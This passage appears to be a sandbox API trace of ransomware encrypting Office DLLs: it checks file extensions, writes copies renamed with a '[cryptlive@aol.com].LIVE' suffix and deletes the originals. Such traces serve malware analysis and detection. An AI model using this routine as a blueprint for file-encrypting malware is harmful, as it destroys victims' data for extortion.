Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.397] lstrlenW (lpString=".doc") returned 4 [0169.397] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0169.397] lstrlenW (lpString=".docx") returned 5 [0169.397] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0169.397] lstrlenW (lpString=".pdf") returned 4 [0169.397] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0169.397] lstrlenW (lpString=".xls") returned 4 [0169.397] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0169.397] lstrlenW (lpString=".xlsx") returned 5 [0169.397] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0169.397] lstrlenW (lpString=".ppt") returned 4 [0169.398] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0169.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.398] lstrlenW (lpString=".zip") returned 4 [0169.398] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0169.398] lstrlenW (lpString=".rar") returned 4 [0169.399] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0169.399] lstrlenW (lpString=".bz2") returned 4 [0169.399] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0169.399] lstrlenW (lpString=".7z") returned 3 [0169.399] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.399] lstrlenW (lpString=".dbf") returned 4 [0169.399] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0169.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.399] lstrlenW (lpString=".1cd") returned 4 [0169.399] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0169.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.400] lstrlenW (lpString=".jpg") returned 4 [0169.400] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0169.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.401] lstrlenW (lpString=".doc") returned 4 [0169.401] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0169.401] lstrlenW (lpString=".docx") returned 5 [0169.401] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0169.401] lstrlenW (lpString=".pdf") returned 4 [0169.401] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0169.401] lstrlenW (lpString=".xls") returned 4 [0169.401] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0169.402] lstrlenW (lpString=".xlsx") returned 5 [0169.402] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0169.402] lstrlenW (lpString=".ppt") returned 4 [0169.402] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0169.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.402] lstrlenW (lpString=".zip") returned 4 [0169.402] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0169.402] lstrlenW (lpString=".rar") returned 4 [0169.403] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0169.403] lstrlenW (lpString=".bz2") returned 4 [0169.403] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0169.403] lstrlenW (lpString=".7z") returned 3 [0169.403] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.404] lstrlenW (lpString=".dbf") returned 4 [0169.404] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0169.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.404] lstrlenW (lpString=".1cd") returned 4 [0169.404] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0169.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0169.404] lstrlenW (lpString=".jpg") returned 4 [0169.404] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0169.406] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.407] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0169.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.411] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=41864) returned 1 [0169.411] CloseHandle (hObject=0x1e8) returned 1 [0169.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0169.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.414] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.414] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0169.495] GetLastError () returned 0x0 [0169.495] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0xa388, lpOverlapped=0x0) returned 1 [0169.498] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0169.500] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.500] SetEndOfFile (hFile=0x1f0) returned 1 [0169.500] CloseHandle (hObject=0x1f0) returned 1 [0169.500] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.500] SetEndOfFile (hFile=0x1e8) returned 1 [0169.501] CloseHandle (hObject=0x1e8) returned 1 [0169.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.501] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString=".doc") returned 4 [0169.502] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString=".docx") returned 5 [0169.502] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0169.502] lstrlenW (lpString=".pdf") returned 4 [0169.502] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString=".xls") returned 4 [0169.502] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString=".xlsx") returned 5 [0169.502] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0169.502] lstrlenW (lpString=".ppt") returned 4 [0169.502] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString=".zip") returned 4 [0169.502] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString=".rar") returned 4 [0169.502] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.502] lstrlenW (lpString=".bz2") returned 4 [0169.502] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.502] lstrlenW (lpString=".7z") returned 3 [0169.502] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString=".dbf") returned 4 [0169.502] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString=".1cd") returned 4 [0169.502] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.502] lstrlenW (lpString=".jpg") returned 4 [0169.502] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString=".doc") returned 4 [0169.503] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString=".docx") returned 5 [0169.503] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0169.503] lstrlenW (lpString=".pdf") returned 4 [0169.503] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString=".xls") returned 4 [0169.503] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString=".xlsx") returned 5 [0169.503] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0169.503] lstrlenW (lpString=".ppt") returned 4 [0169.503] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString=".zip") returned 4 [0169.503] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString=".rar") returned 4 [0169.503] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.503] lstrlenW (lpString=".bz2") returned 4 [0169.503] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.503] lstrlenW (lpString=".7z") returned 3 [0169.503] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString=".dbf") returned 4 [0169.503] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString=".1cd") returned 4 [0169.503] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0169.503] lstrlenW (lpString=".jpg") returned 4 [0169.503] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.504] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.504] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0169.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.505] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=11656) returned 1 [0169.505] CloseHandle (hObject=0x1e8) returned 1 [0169.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0169.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.505] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.506] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0169.507] GetLastError () returned 0x0 [0169.507] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0169.509] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0169.776] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.776] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.776] SetEndOfFile (hFile=0x1f0) returned 1 [0169.776] CloseHandle (hObject=0x1f0) returned 1 [0169.776] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.776] SetEndOfFile (hFile=0x1e8) returned 1 [0169.777] CloseHandle (hObject=0x1e8) returned 1 [0169.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.777] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0169.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.777] lstrlenW (lpString=".doc") returned 4 [0169.777] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString=".docx") returned 5 [0169.778] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.778] lstrlenW (lpString=".pdf") returned 4 [0169.778] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString=".xls") returned 4 [0169.778] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString=".xlsx") returned 5 [0169.778] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.778] lstrlenW (lpString=".ppt") returned 4 [0169.778] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.778] lstrlenW (lpString=".zip") returned 4 [0169.778] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString=".rar") returned 4 [0169.778] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.778] lstrlenW (lpString=".bz2") returned 4 [0169.778] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.778] lstrlenW (lpString=".7z") returned 3 [0169.778] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.778] lstrlenW (lpString=".dbf") returned 4 [0169.778] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.778] lstrlenW (lpString=".1cd") returned 4 [0169.778] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.778] lstrlenW (lpString=".jpg") returned 4 [0169.778] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString=".doc") returned 4 [0169.779] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString=".docx") returned 5 [0169.779] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.779] lstrlenW (lpString=".pdf") returned 4 [0169.779] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString=".xls") returned 4 [0169.779] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString=".xlsx") returned 5 [0169.779] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.779] lstrlenW (lpString=".ppt") returned 4 [0169.779] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString=".zip") returned 4 [0169.779] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString=".rar") returned 4 [0169.779] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.779] lstrlenW (lpString=".bz2") returned 4 [0169.779] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.779] lstrlenW (lpString=".7z") returned 3 [0169.779] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString=".dbf") returned 4 [0169.779] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString=".1cd") returned 4 [0169.779] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0169.779] lstrlenW (lpString=".jpg") returned 4 [0169.779] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.780] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.780] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0169.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.782] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=744888) returned 1 [0169.782] CloseHandle (hObject=0x1e8) returned 1 [0169.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0169.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.783] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.783] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0169.784] GetLastError () returned 0x0 [0169.784] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0169.802] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0169.817] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.817] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0169.817] SetEndOfFile (hFile=0x1f0) returned 1 [0169.817] CloseHandle (hObject=0x1f0) returned 1 [0169.817] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.817] SetEndOfFile (hFile=0x1e8) returned 1 [0169.956] CloseHandle (hObject=0x1e8) returned 1 [0169.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.956] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") 